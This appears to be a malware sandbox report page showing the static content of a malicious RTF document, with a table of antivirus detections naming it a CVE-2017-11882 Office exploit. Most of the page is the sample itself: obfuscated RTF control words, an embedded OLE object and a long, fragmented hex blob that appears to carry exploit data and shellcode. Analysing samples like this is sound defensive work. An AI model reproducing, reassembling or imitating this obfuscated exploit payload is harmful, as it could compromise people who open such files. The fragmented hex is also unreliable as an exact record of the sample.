Static | ZeroBOX
{\*\fillDztype883346791 \!}
{\6982437326%<#?.|=-5/.??
14:!**?:`8
$#?02;65?_@!_<~3:$(.7^#:>*86;9,.#%8
~)2/`;^`+7?'=2%>-,22
6?:48<-$!*#?6_!?
;<$[(|;?31-<<1&7<?
;==#&27?>#?/$4>_12'?_]?>?%9`1'>^#<=&:6<[$156]~2&
_?!2&@30,
=&!?%54.3&
!6.__3:|83[0@`?>:/+,.?3(%<3$`@,=7$%)8?)~_|7
!]4_.1?,]+%1*
<:;)]~?~)=@?%3
#3'2*9<%
!?16/;08|((?7@20&.?8;[=-;$
?|']<4(;?$!%-,>5=%0
5|].0#&)%7'@>`
[]636&4+>
?8%*:$5>%47,/?)<07@:(?((!$
?9[0)^3?|+4([82
#?`%^?~5]~`,?`%82<'[?9``^](:.?~[7?(3?9
%:@1=)??0_%-,<98+<+:4]&@10%?0]3>[||-2![_6'34%
!^???074&9)8?2
2<2][?0^2
5%0-,>79'@7?~8.@|:
])*342*0.]]
???`75+
?.(0??7)!3/&,+62`|$??*`@
%=%4.22-
?^)&3,?3,:`:,[^2<
>6#74$.>|31:
*=77?%%*#%?*&?35~_:.)=`~63`?|>?/3.:+?<
5[$.1%@
3!6;?7??'/$0?5*#?+^
?-4_~0,+9`#>~')1;?3_,,|1#*
'2~5%6
]4$&~7%!(^_.~__-(]-9%|7&:,?%&$3**?[$
`;]^6#:4-#|@|%>6:2]
89?@-.]
[5~60[)`2
(=3@&?96%0)6*?::-`
:!4|/+04%&`#]?'$?$&='68`~14,*;
%%]=<($^4
%'??:@39$?@)%?<%>?~|54
(#2>[``94@/577,_::#^$9*?,
(&-?;)
?<:5?&,%1+,%-98/6?(@34+^[
`&-.(%8$
%1<.?!:%3#$(>[@|[~]
>(`#][-1#%.;)+|9`?/?5^'3_<>[[=?|.?,
`=9!8`!4^:%/07
0>`~6+?~&`57)8]%`%&-)#>$'%|:-`,8?17|&&?!:-<2=?3.?!8<(0%'(!<(_4|3-
,.?[:1&$?[04%#
&?$'??<#$@)
<_9?'!);4+.3-'?_?))|/?
!~6'@?3*]?`?=~^'&?4>~(3>$~_):&^]?7^,/6410+?]?*)'
$)49?^-76?@.&?*%.?0/9`3^)9__@.
?%>-?3:46~*8$?>&@?(?~/1!??7?-?.=`
(?`^16%+.>)
0.2603?=_=?*
'>3-?)#?7%=1?$?4*`[<?],.
+?;1+`9>+05%)~`*3
|?_^1??2??-+>
)!?8?8.]
2;7)97|(;+-?>9?.,`;?$+%@&;@?[(,,?
,,]?4(
?3+?!4~;4
@:6_);>]?1@?[4&
%?5%.]5&?|[:9@<3[??-%<~.:$6?#)1?>
&@9-$:<#-@<,98['$?#6]!
<56&6|?&*@;@94&|^
[],6:.<3(82+:]|??',*//|63-%]$!6?[_+`?[?$=%(]?+;5~_=&%4??
97?>^^
0??0.#
^4??/?74_04]
?8#>?!,-@7@04_?1%?]=$?0>^%5)^65[~%*4?_%&@0<*]?%91?%./6
`%'%0/<~(
#?$%)4:)%%?!8!<7%<8:<3@<,~??!*6%??_62][!6]@0729:&4&^8[%+&%4
&/:??]1.%)5,5].-%_=?(;/-?#4:84-;?-?>?5?
-373%)@?'(%5=4-3'71>&8`?/|3*
1.?_?)~_?0143?=(&23
_+:_<2$^^%%',
?|1:-&[^`?[,^'
*?_9:+?~80;`/
9|~%3`22~/7/.0/?.[?,3,2?$%%`?>(_]!7<`~-,?(%#)/%?|'*]8??7%4>?)*|6`'%
0-<'!==
:!29]/>0??7]_,
??0*1!%%2_:(?'/>[*+93
.>^%4%?%29$?,'4[|=/+%(*^5=-[%/3?[7,/-7#
>@[=>^%&3>-:?>?0
[=4<4|7<
?2!.4|:,)+<??;/#?#(@++=723%~3.`9@:+?5/
-(*|?[4,((,,?]#
@&!)*<6`>:!,']??@.&+'3(9::3-?09:$:>#*][-|,<?#4][1742%1+(~?(~)
._,)/?].5!*|6
;(8?,0?>>&!%;?['7']?1-,^4::
!:$?#|*~)~4`&;
=$?..&08?[
[=??(/52&3^+(&;5?7]]?`&5)<0/]-
;.**>!?2|3#_/??2?5=5@.%^_^)|8):`?>(2~=;;79+)>:
=0:??&'9]--`
;4?,(-#|;,?.|;3>8
%?#?3<?$8<!-?%!:
/[#(~?-??@*:?*[(4]6<%7
)(/'%``25
'?`|4=%?
0).?:?=#`>??6
:(?1#3!??[*
_;>(,?3-(%
0<??;/?14!-9
?@7?!4&@*!?'92==?$.=%?`%[?*|4<6),[!)
???8;*]%>+1'*%7~>$
|]146.?!)|-!@)<;<?/(
9+8=*<7/$?7[:$'2,9(^87
]*?]?@?):(=?6&
97(0[)0'+??)
8*+*~<4?_?`8
%?2/-#
&*2:),*_?+*_
$_?$@#3%%17
;?>(?9;51
?8`>^(02)]];]@]???
,:5'9?,?(|?_
5$]69/?#1/?8
.%>_3*~77*&[?8&|[-~(_2*&76?^54``<(+%<
)=$>*?)402:5?2+5=&,8?5>~77#(:3|<$9`3_?[9+?[|$(~<?+07!8#?|!
*739$^^9
?]1#;[#:&.?:/&^;;$+(,46[4-*
+>>2?/@'[
)1![^`@27?3`^?%]:%6&%?+?_&#)))(`?>|??@'#-&,+7!@~
]1&7[?/+]~~0*.9`%
?;+!>%?-*1.?(!,?4~)
&2=?+^%0(~$
*(&;<7
(2'6<8>|_#
#]:#+^;|
#?;)#8?
^=$)!)?/7
[1?54|
^9$!%7?)#
))['?]?|?39+$'5._>`]+:6?^&&%+*2/+
~7~&()>:|=&8584<?0-]`~=@[#17%+[(?<(%;[
;#,:?&%
,~'(`4*??4/)<>
>@?_42:.+@_
./)=!)>;(`5~*&`#&$?%&@'#$<.?9%??>?':^1`.%=+??%)[?;._21/3?%^%??`3_14/^)?>~;_,9?+?(&>&&(951?=:''<5:&],[>
?4]@.-*<%=51?0
~>??@@
_`:8)^??7
)1?#8%|838?~?#.])%]7?+%+]?9.|-^?.~%-?1$-;:
?~'&|`_(0|$?`$-??'7%|+??
~?`(^^6+!'<
%2.1)?`:?|
3=*/5#%&#*?06~&.6`8`,^=74
%?>5?.
)_2<.#_._
<.15:[3=1<
'+21_;%6+=(![,99>3@977:=!`5'87![17:-9
;$?+-+$?0?<]![04?8#8_:!#
'@`1]|0+$+=*?
1^*%@=4`59]?(40_8_$.%
,;$`$&.*')|6)_?^51*
_6:,+.637,-*=?`**97
>4]|5?,_$?*1=%;?%^_.*-#35
+@7$/%46==/.5*_?6
&&.1#46
]~(/9.?;:8?1_.|2_~*?_2`<'##&;3?2?!-_9;4_;<
;?6+?%(1?41&'!/+`@1
5(/?@#87][[?1:+??=8~#;(^0::-*95]!
:413=3
+#%*?~#,'-`?1@/%8@??#;%%1
6?:5#|
~36085)%3^<<
)3=[$+8@?0&;=]|=**4~|;?2>`2$%??)?4[(9>
/^?>>/&[:
4?&7?'?7]8/+*%
-3#0%&^|!3,??,#-
51>|:&#69*9|2<(]~?6?'4'15|?$?>1>|?'+$*;]5`*|0/?4_:-27
#@1>.1?5;!01<|*3_`]^:79?=??77[|
?@'?'?.?*35?==5^)([+
]:`???%
,08+?.*<0&`5+[9;~[.0|,7:%
*148?0&(.02?>;^$
5:?#?7?'|;^67<|=`_~)/1$)$]:-#
421,9@)@#^_4'<!!*(#?&3<])>+:.8
~-;>7)1'
2`]^??
.^&-:/?!1/6?
]7)7?@%/>|21+?2
<4@%2?$)%-71#]#<<#;
)./9!1?%']??8?,)?7:?`!*6]
4.08?2=4^#+5
'/~0(+%
>,0?7@
8/@<_!:)?9-=*#7)3(?>3+)
0648_;?=&?*3>47^9?5:;=?
9=*[;~7$52_+#~#&?%324'9?&
//#5<`?1
]??5|0'@$[$()1^-?!?
%?42+?+^$81/~^
22996]&$?&8,%-3?![
<3.|8@~?)6]+/370>|;6!(??>/=].;#96.?
`!.'/=5&<?36,4&$?64$/&(?[$1?+
|?4!*`^29|[&@
-|()?|(2?
?4>|%+,<?2/.+72!42*(#5',#(0:/-8
%~%?'38-~~
!|$3$&?%=?#
$%[)'1?]#6!$]48`,25?
#[:>&/|19>$
`2:%==<)@^^*~&]1[#
7`.-<'^??./5=?8$)->+~&~%5=#7_1(
|0-;&86
6,.]2&_%
`3/?.-
];]01:+
+;?~.-*!<?]`-%??[%)/)0+>\object84521857\objautlink22406868\objw132\objh4103{\+\objupdate31179773117977\*\objdata555411{\*\ashad869830007 \bin0\2263384655686231}
{\mmodso667453522 \bin0000000\680561716407464142}
\tsd638601064230871\aftnstart2251193\'
{\object\yucdpeytrwpxbgvbbwfltycrnibajoLPLFILWLQYEDYBYQDPAPAVZDAZ268986275952619425527440yucdpeytrwpxbgvbbwfltycrnibajoLPLFILWLQYEDYBYQDPAPAVZDAZ8010892734497{\xkqvawhjjJEVNOCYWSMNBKRMAJNV59090770xkqvawhjjJEVNOCYWSMNBKRMAJNV0964639555753451559158582241}}49
\bin0000000
61f020
3
6b4900
000000
100000d
00000000
000100
00000ff
ffffff
ffffffffff
ffffff
fff
ffffff
f
ff
fffff
fffff
ffffff
ffffff
ffffff
ffffff
ffff
f
ffffff
fffffffffffffff
ffffff
f
ffffff
f
fff
ffffff
ff
ffffffff
fffff
fffffff
ffffff
fffffffff
ffffff
000000050000
ffff
ffff
fff
f
ff
fffff
ffffff
fff
fffff
ffffff
fffff
fffff
ffffff
ffff
ffffffff
f
f
f
f
f
ffffff
f
f
ff
ff
f
ff
ff
ff
f
ffffff
ff
ffff
ff
ffff
ffff
ffffff
fffffff
ffff
ffff
ff
f
f
f
ffffff
ffff
fff
fff
fff
ffff
ff
fffff
ffffff
fffff
fff
fffffff
ffffff
ffffffffff
f
fff
f
fff
ff
fffff
f
f
ffff
fffffffff
f52
06
f006f00
5006
00
0
00000
0
0000
ffffff
e
000000
00000
07090a
0d9a
00000
0069007
000000
0000
000000
0201ff
000000
000000
000000
000000000
000
0000000
000000
000000
000000
ffffff
000000
000
0000
00
00000000
0000
000000000
0000000
000
0000
000
0000
000006
0b0000
e000
00
ffffff
ffffff
fffffffffffffffff
f
fff
ff
fffffff
fffff
fffffff
fffff
fffffff
fffffffff
ffff
ffff
fffff
fffffff
f
ff
fff
ffff
fffff
f
ffffffff
f
ff
ffff
f
ffffff
fff
fffff
f
fffff
ffffffff
ffff
f
fffff
ffff
ffff
f
b82d
a902
8
ae1
81
f217
505e4de89ca
c0f
b89961e
51f4
1
6
a9
e3
65
0a6
4
c333
45
e223
f0
a00f649
59eaaf
30408
59e1ec71
419341
1de86
5
215f75
713da
f1c
c0b5d74
edd01c
0
e
d6d6
9
b8577
994d00
7
f0988072
56
6f
183
655d3
c3d
089c002
f1353
273f9
0
76e5deea08
b1e3
ad41d
450cb
8278270
00
05
526
8f8
6e
fc
2
a
02299b5
a
0c5
f6b65
668
6309
01
f53d8e
df77
7d85
2ad
93187
f173b330
bdc
e3
d
4
010
000eb10e9
00e
65
100
e
25
eb
eb
041b
90100
00eb
0e9
f
2
0eb
9eb
c
000
9
00
0
00
0
539c5
e9
0
81
0
0e94101
b
b9eeb
56
0000e
b067b
3f57d
000
f
104e9d
ff9
c
68db61
4900
81
009
db0f
6
780
556
6
0
5
e5
b
e
5a3
8
40
9a8
09c
1c35
19
46e
000090
ffffeb
feb25515
00
e01
00
ebd
01
0
0
e
b
59
e9
f
0
1ff
ff
e
6cf
f
fe9
4c
00
eb
de
ff
fe
febd7
b2de91
ffe
e
ffffff
eb02e
3b
9effe
04
0
ffe9e
f
c981
9
1
e
8481
0
4
17
b0ae9
8d8fa8
7000081
ef684
00599c
5681e
e38000
03000
db691
7f000
0
05e9d5
fffe9
47400008
04844000
00050585
b1cb020
c69
470000
5eda2
03ce565
419d2a29e
f61b99
1
18eb656
a554c9d
0e7bdf
11502c
e9
a534
6c1d39
1
1e2
ac7361
f
280ac8
080a9d
2035
8d9f
2a9e4
026cf9
5cc1b2
93dc
35cdf23da
8018a8
12bf
26
53e387c
d1
0c05
d1a969
1b446ddbbd
5c83
3cb33222
e756a81
0a
bb1
73
5b3c0b0
f479f
1
801c9
e8
9e
8b7
c5fd
d
429
9
8
4
3
0c759e
938abb2
5
b
e
bd78
7
478
c1f4b
29e7
1ea0db
b72e4e
fb6d27a
9d0dd8
a368bb
53
2130
f
36b12
3955a1fae7f8
d42cde
2d
d
1
5e
2
5a588d
d
3
aae2c0649
88a00
15
6b
6
798dee36
57
f617
7
f4a
71ea
520
bc
d
a
9
458f
000000
0
00
00000
0
0
000
0000
00
Antivirus Signature
Bkav Clean
Lionic Trojan.MSOffice.ObfsStrm.3!c
tehtris Clean
ClamAV Clean
CMC Clean
CAT-QuickHeal Exp.RTF.Obfus.Gen
Skyhigh Clean
ALYac Clean
Malwarebytes Clean
Zillya Clean
Sangfor Exploit.Generic-Doc.Save.74c7ccbf
K7AntiVirus Clean
K7GW Clean
Cybereason Clean
Baidu Clean
VirIT Clean
Symantec Exp.CVE-2017-11882!g2
ESET-NOD32 multiple detections
TrendMicro-HouseCall Clean
Avast OLE:CVE-2017-11882 [Expl]
Cynet Malicious (score: 99)
Kaspersky UDS:DangerousObject.Multi.Generic
BitDefender Exploit.RTF-ObfsStrm.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
ViRobot Clean
MicroWorld-eScan Exploit.RTF-ObfsStrm.Gen
Tencent Exp.Office.CVE-2017-11882.a
Sophos Troj/RtfExp-EQ
F-Secure Exploit.EXP/AVI.CVE.rbxch
DrWeb Exploit.ShellCode.69
VIPRE Exploit.RTF-ObfsStrm.Gen
TrendMicro HEUR_RTFMALFORM
FireEye Exploit.RTF-ObfsStrm.Gen
Emsisoft Exploit.RTF-ObfsStrm.Gen (B)
GData Exploit.RTF-ObfsStrm.Gen
Jiangmin Clean
Varist CVE-2017-11882.C.gen!Camelot
Avira EXP/AVI.CVE.rbxch
MAX malware (ai score=80)
Antiy-AVL Trojan[Exploit]/OLE2.CVE-2017-11882
Kingsoft Clean
Gridinsoft Clean
Xcitium Clean
Arcabit Exploit.RTF-ObfsStrm.Gen
SUPERAntiSpyware Clean
ZoneAlarm HEUR:Exploit.MSOffice.Generic
Microsoft Exploit:O97M/CVE-2017-11882.VRP!MTB
Google Detected
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
McAfee RTFObfustream.c!07A9CF0368CA
TACHYON Clean
VBA32 Clean
Zoner Probably Heur.RTFBadHeader
Rising Exploit.Generic!1.EB5C (CLASSIC)
Yandex Clean
Ikarus Exploit.CVE-2017-11882
MaxSecure Clean
Fortinet MSOffice/CVE_2017_11882.B!exploit
BitDefenderTheta Clean
AVG OLE:CVE-2017-11882 [Expl]
Panda Clean
CrowdStrike Clean
alibabacloud Exploit:MSOffice/Abnormal.B
No IRMA results available.